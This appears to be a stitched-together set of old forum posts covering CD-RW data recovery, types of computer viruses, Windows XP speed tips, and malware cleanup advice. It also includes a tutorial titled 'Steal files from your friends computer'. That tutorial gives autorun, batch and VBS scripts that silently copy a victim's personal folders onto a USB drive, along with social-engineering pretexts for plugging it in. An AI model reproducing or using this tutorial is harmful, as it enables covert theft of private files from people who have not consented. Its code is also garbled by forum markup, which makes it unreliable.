How to Recover Back data erased from a RW Cd

Procedure used to recover data from a quick-erased CD-RW disc

1. Make a file of exactly the size of the cdrw disc's capacity (650MB in my case).
(this step may not be needed)

2. With Nero I created a new project and added the file to it so that I have the disc filled. I gues you can also fill up the disc with other files.
The reason why I fill the disc is because I want Nero to make a session that uses the entire disc. Like I wrote earlier in this thread I experienced that my CD-Drive refuses to read off the disc beyond the session's boundaries. When you quick-erase a disc there is no session anymore so the drive will not read at all. Burning a new session will overwrite the data and burning only a small session will NOT make the drive read the other data that is still on the disc.
The reason why I used the one big file is so that I could later on recognize which part of the disc was overwritten by this file because this file contained all zeros (0x00).

3. I pressed burn and selected disc-at-once. Then while Nero was burning the leadin I pressed cancel. My CD-Drive finished writing the lead-in and Nero reported an error.
This is what was accomplished however: Now the disc contains a session that says that the used disc size is the complete disc. Nero did not get to writing file because I cancelled it. Good thing because I don't want Nero to write any files because my old data will get overwritten!
I gues it works the same with different writing software. Another method that I used during a test was simply press the reset button of the computer when the burning software was done with writing the lead-in and started with the files.

4. I had to restart the computer after cancelling burning.
With the cdrw disc inserted I saw in "my computer" that windows recognized that the disc was 650MB, clicking on it gave an error. Good so far!

Now with IsoBuster you can extract the sectors from a disc to a file. This is what I did.
I gues that if you have data-recovery software at this point it will be usefull because now (if all went well;)) the CD-Drive WILL read data from the entire disc. Anyway, I used ISO-Buster because the files that I needed to recover where a bit odd for nowadays (.XM, .S3M, .MP3):
In IsoBuster I had to do several steps:

Step 1: Find out from and to which sector the drive will read
By choosing "Sector View" you can look at any given sector.
Here I found out what the first and the last sectors where that are readable. (Hint I used the method for the old game: "Gues a number below 100, I'll tell if it is higher or lower than what you gues")
Step 2: Extract the actual sectors
By choosing "Extract From-To" you can extract any given range of sectors to a file. My disc was a data-disc so I choose the first extraction type "User data, 2048 bytes/block...".

In the end I got a .tao file which was about 650MB. I ran several programs on it to look for files inside a file by searching for file-header-paterns:
1. Multi Ripper 2.80 (for DOS, for the .XM files. It does many other file formats as well (jpg,png, bmp,wav,etc,etc +100). Try google with this query: Multi Ripper 2.80. I still had the file from good old days but I saw several good search results)

2. Winamp for mp3.
Winamp will scan any file when you give it the extension .mp3 and play it as one big song (so I renamed the .tao file to .mp3). I used the discwriter to get a .wav and the Adobe Audition to manually cut and save my songs. I looked at the MP3 file format and it is hard to find an mp3 file in a big file because it has no clear header just a bunch of mpeg-frames in most cases for me . A lot of my files had no ID3v2 or ID3v1 tags... But after a couple of hours I recovered everything.

Finally a list of used stuff:

Software:
- IsoBuster v1.5
- Nero 6.3.0.3
- Multi Ripper 2.80
- WinAmp v5.02
- Windows XP Pro NL (patched up)

Hardware:
- NEC DVDRW ND1300A 1.06

Disc:
- some old 4 speed cdrw

Types of Viruses

First of all i was confused that where to post this thread .but i think this is correct section.


The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master Boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master Boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a Boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

well i think this would clear ur doubt about diff types of viruses:wow:if u had one

23 Ways To Speed WinXP, Not only Defrag

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-Click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

Steal files from your friends computer

[i]Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.



STEP 1


Open Notepad (I recommend Notepad++) and copy-paste the following lines.
PHP Code:
[size="4"][color="Lime"][autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shellopencommand=launch .bat[/color][/size]

Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

STEP 2

Open Notepad again and copy-paste the following lines
PHP Code:
[size="3"][color="Lime"]@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictur es" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favori tes" "%drive%\all\Favorite s"
%backupcmd% "%USERPROFILE%\videos " "%drive%\all\vids"
@echo off
cls[/color][/size]
Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%\pictur es" – is the target.
The second file path "%drive%\all\My pics" – is the destination.

STEP 3

Open Notepad once again and copy-paste the following line.
PHP Code:
[size="4"][color="Lime"]CreateObject("Wscript.She ll").Run """" & WScript.Arguments(0) & """", 0, False[/color][/size]
Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processinG
Open Notepad one last time and copy-paste the following line.
[/php][size="4"][color="Lime"]wscript.exe \invisible.vbs file.bat[/color][/size] [/php]

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.


STEP 5

Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your slave. It works flawlessly.

How to be saved from hacking.

*** Under the security option tab of Mozilla Firefox there is an option Show Passwords make sure its protected by the master password.


1. U may avoid using Internet Explorer(old versions) and make the switch to Opera, it's more secure, plain and simple.

2. Get Spybot Search and Destroy or Spyware Doctor and immediately update it.

3. Get Adaware SE and immediately update it.
(Use both as a 1-2 punch on infected client computers and between the two there's not much they won't kill)

4. Update your anti virus,

5. Boot into safe mode and run all three scans (once in a month)

6. While the scans are going check your registry (Click start --> Run and type regedit to get intot he registry) and look in HKEY_CurrentUser/software/microsoft/windows/currentversion/run & HKEY_Local_Machine/software/microsoft/windows/currentversion/run. Verify that all programs listed are legitimate and wanted.

7. If or when your antivirus scan comes across anything, search for that file name in your registry and delete it, at least quarantine it.

8. Use explorer to go to the windows/system32 folder and sort by date. If you haven't already done so, make sure you can see the entire file names. click Tools --> Folder Options and unclick the box labeled "Hide extensions for known file types" and under Hidden files and folders click "Show hidden files and folders." However, make sure you choose "Hide protected operating system files" so you don't accidentally remove anything that would cripple your computer.. You are looking for recent files with names ending with .exe and .dll that look suspicious. Major culprits will have gibberish names such as alkjdlkjfa.exe.

9. Once you can get clean scans in safe mode, reboot in normal mode and scan all over again. If you can't get a clean scan in regular mode then you have something more persistant that could take more research.

10. Make sure your firewall doesn't have strange exceptions.

11. If you suspect anything that is going wrong with your computer is the action of a stalker, on a more secure system change all your major passwords, mostly bu using a virtual keyboard(to prevent keyloggers).

12. If your system has been specifically targeted and hacked you can never be 100% sure that your system is no longer compromised so start with 11, make backups of personal files on the infected system and format and re-install Windows.
